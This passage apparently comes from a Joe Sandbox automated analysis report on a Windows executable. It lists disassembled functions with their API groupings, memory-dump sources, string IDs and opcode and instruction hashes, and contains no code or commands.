                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Message$Translate$AcceleratorDispatchInputPeekState
                                                          • String ID:
                                                          • API String ID: 2256411358-0
                                                          • Opcode ID: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
                                                          • Instruction ID: e1e12cf09afb52da2058820a6dbe7a1db11883f69851d11ce57007f6528bb5ad
                                                          • Opcode Fuzzy Hash: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
                                                          • Instruction Fuzzy Hash: 6641A131D9D68285FBA0AB24E498B79AB91BF41F44FB88039D55F471A4CF2DE483C720
                                                          Function 00007FF787B72370 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ObjectSelect$BeginCreatePath
                                                          • String ID:
                                                          • API String ID: 3225163088-0
                                                          • Opcode ID: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
                                                          • Instruction ID: adc63e56ef6fafe7df3667d93fd1384920aacb65ed06c3ee18a555d8aeeddad7
                                                          • Opcode Fuzzy Hash: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
                                                          • Instruction Fuzzy Hash: 94317C35A587568BE340AB05E884739FAA5FB84B90FA44139DA9B57750CF7CE482CB20
                                                          Function 00007FF787C02E64 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$ForegroundPixelRelease
                                                          • String ID:
                                                          • API String ID: 4156661090-0
                                                          • Opcode ID: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
                                                          • Instruction ID: 79e2197472a95d0e9d3fe55f5ba2f626ffe442c7e5f84f0ac74b6f38b96bb2c7
                                                          • Opcode Fuzzy Hash: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
                                                          • Instruction Fuzzy Hash: 9C219132B5864186E704EF26E88406EE7A5FB88FD1BA44035DE1E87B65DF38D482C760
                                                          Function 00007FF787BDCB58 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: HeapInformationToken$AllocErrorLastProcess
                                                          • String ID:
                                                          • API String ID: 44706859-0
                                                          • Opcode ID: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
                                                          • Instruction ID: ba74949dffcc2e200fdc0cb637fec0a915eb17194f9edf20f6c8ba48c3c0b6ca
                                                          • Opcode Fuzzy Hash: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
                                                          • Instruction Fuzzy Hash: 61116A36A54B418AE710DF02F844569BBA9FB88F80BA54436DF8A43B54DF38E816C740
                                                          Function 00007FF787BDCAB4 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: HeapInformationToken$AllocErrorLastProcess
                                                          • String ID:
                                                          • API String ID: 44706859-0
                                                          • Opcode ID: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
                                                          • Instruction ID: 593c6eb9193392814d42709698e5540461994964a9f4f5a60701bcf6e322d5c5
                                                          • Opcode Fuzzy Hash: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
                                                          • Instruction Fuzzy Hash: 62118C36614B818AE710DF02F84456ABBB9FB88FD0BA54435DF8943B54EF38E816C740
                                                          Function 00007FF787BDB748 Relevance: 7.5, APIs: 5, Instructions: 43stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: From$Prog$FreeStringTasklstrcmpi
                                                          • String ID:
                                                          • API String ID: 3897988419-0
                                                          • Opcode ID: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
                                                          • Instruction ID: 331d39192f840e798ec0b7d432fa7b912b7f687a58ea200a38c9cfa6ce1c37a7
                                                          • Opcode Fuzzy Hash: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
                                                          • Instruction Fuzzy Hash: AA113035A58A8187E710AB26E44432AAAA5FF85FC5FA84034DF4F47B58CF3DD442C724
                                                          Function 00007FF787BE2ED0 Relevance: 7.5, APIs: 5, Instructions: 37windowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                          • String ID:
                                                          • API String ID: 3741023627-0
                                                          • Opcode ID: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
                                                          • Instruction ID: 736d0679daa6a2f30f348c272d1aaadb6c9cbc29d0735e48a0259e9e06898a2a
                                                          • Opcode Fuzzy Hash: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
                                                          • Instruction Fuzzy Hash: AC118233A4898281EB65AF64F4443BAA365FF88B94FA44031D94E072A8DF7CD586C360
                                                          Function 00007FF787BED7F8 Relevance: 7.5, APIs: 5, Instructions: 36sleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: PerformanceQuery$CounterSleep$Frequency
                                                          • String ID:
                                                          • API String ID: 2833360925-0
                                                          • Opcode ID: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
                                                          • Instruction ID: c98d3b3863f797f9c6e6d1b6db2c3577ea0e379015d06a5818f6c22cb9d4a316
                                                          • Opcode Fuzzy Hash: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
                                                          • Instruction Fuzzy Hash: C301D432B5CA4242EB05EB31F49813ED766BF95790BB40235E10F926A0DF6DE486CA20
                                                          Function 00007FF787B722E8 Relevance: 7.5, APIs: 5, Instructions: 31COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Path$ObjectStroke$DeleteFillSelect
                                                          • String ID:
                                                          • API String ID: 2625713937-0
                                                          • Opcode ID: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
                                                          • Instruction ID: 7969ba6b50fbe20a13a86c2faab68cf9badabed9bdd6f0ba8094221f0755322e
                                                          • Opcode Fuzzy Hash: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
                                                          • Instruction Fuzzy Hash: EB01923599C54686F754BB10F994735A766BF047A0FB88138C56F072A0CF7DA0C6C320
                                                          Function 00007FF787BE03F8 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                          • String ID:
                                                          • API String ID: 179993514-0
                                                          • Opcode ID: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
                                                          • Instruction ID: 9be750ba6ab416ab5b50e18b977900b19ea0291d335b5b1a8b87de40fe907124
                                                          • Opcode Fuzzy Hash: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
                                                          • Instruction Fuzzy Hash: 4FF01C21FA860282FB1477B5B94827692667F9C751FF45070CC1B43391ED2D9497C630
                                                          Function 00007FF787BEB5D4 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                          • String ID:
                                                          • API String ID: 179993514-0
                                                          • Opcode ID: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
                                                          • Instruction ID: 7cffd243835014e6f99eb5e4a4ff64702ccaca67a921d5f643e7bf307af0d55e
                                                          • Opcode Fuzzy Hash: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
                                                          • Instruction Fuzzy Hash: 33F0ED20FA820242FB14BBB2B84867AD2467F4C745FF00070C80B833A1ED3DA48BC270
                                                          Function 00007FF787BF6D04 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 308comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CreateInitializeInstanceUninitialize
                                                          • String ID: .lnk
                                                          • API String ID: 948891078-24824748
                                                          • Opcode ID: bb49a61337d89a9848f7780026d10ac62e6b3b39f2b5ab5deb7fc3459a4390ae
                                                          • Instruction ID: 0cbe69c9bbf81a0dfd1f3ca3203d638ca3831c17dac34b0096c1f6aa79475498
                                                          • Opcode Fuzzy Hash: bb49a61337d89a9848f7780026d10ac62e6b3b39f2b5ab5deb7fc3459a4390ae
                                                          • Instruction Fuzzy Hash: 30D19432B58A4681EB50FB29D4906ADAB62FF80BC8F905031EE4F4BB65DE3CD546C750
                                                          Function 00007FF787B9B1E8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: $*
                                                          • API String ID: 3215553584-3982473090
                                                          • Opcode ID: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
                                                          • Instruction ID: 5b86de0c387054342288548527fd504af62c08e19b5e1f1245124a382cecfa6b
                                                          • Opcode Fuzzy Hash: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
                                                          • Instruction Fuzzy Hash: B461727298C24286E769EF34805437EBFA2FB45B1CFB41235C66B41699EF28E442C721
                                                          Function 00007FF787BA6148 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _set_statfp
                                                          • String ID: !$acos
                                                          • API String ID: 1156100317-2870037509
                                                          • Opcode ID: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
                                                          • Instruction ID: 220a22dea6e6b505b3d39e23d329d8b3e805eeb7e3d8ac637f7ca650241fe41b
                                                          • Opcode Fuzzy Hash: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
                                                          • Instruction Fuzzy Hash: DA61D921D68F4589E323AB399811276DB59BFA63C4FA18336E91F37964DF2CE043C650
                                                          Function 00007FF787BA6408 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _set_statfp
                                                          • String ID: !$asin
                                                          • API String ID: 1156100317-2188059690
                                                          • Opcode ID: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
                                                          • Instruction ID: 77f350b0cf4dddad75adfb79aa6dbbeb88d1ea1a772928d32b8a0f7be70f205d
                                                          • Opcode Fuzzy Hash: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
                                                          • Instruction Fuzzy Hash: 6C61C722C68F8185E323AB359811276D769BFA63C4FA08332E95F37964DF2CE043C610
                                                          Function 00007FF787BDEAC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                          • String ID: @
                                                          • API String ID: 4150878124-2766056989
                                                          • Opcode ID: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
                                                          • Instruction ID: 8c240dc1a513441ea31c013ab15eaefc4441a586f367ddb430f053339edbb96c
                                                          • Opcode Fuzzy Hash: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
                                                          • Instruction Fuzzy Hash: AE51EE7361868196D720EF92E484AAEFB61F7C8B84F940036EE4E43B59DE7CD506CB10
                                                          Function 00007FF787BEA6BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Menu$Delete$InfoItem
                                                          • String ID: P
                                                          • API String ID: 135850232-3110715001
                                                          • Opcode ID: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
                                                          • Instruction ID: 506a9937511229160efeea8846bcd89d69bd8132476eaaf9b592fb46e8d8356c
                                                          • Opcode Fuzzy Hash: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
                                                          • Instruction Fuzzy Hash: 6A41C333A48A8181EB10EB15D4443B9AB66FB85BA0FA68231DA6E077D1DF38D543D720
                                                          Function 00007FF787BAEAA8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ByteCharErrorFileLastMultiWideWrite
                                                          • String ID: U
                                                          • API String ID: 2456169464-4171548499
                                                          • Opcode ID: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
                                                          • Instruction ID: 95f01b87edb7bde2ac6d7363f30d56ed2aadb4e9bba10ecb5d1479334073f5b3
                                                          • Opcode Fuzzy Hash: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
                                                          • Instruction Fuzzy Hash: 93418E32A1974182DB21AB16E4453AAE6A1FB88794FD44131EA4E87798DF7CD402C750
                                                          Function 00007FF787C1B454 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
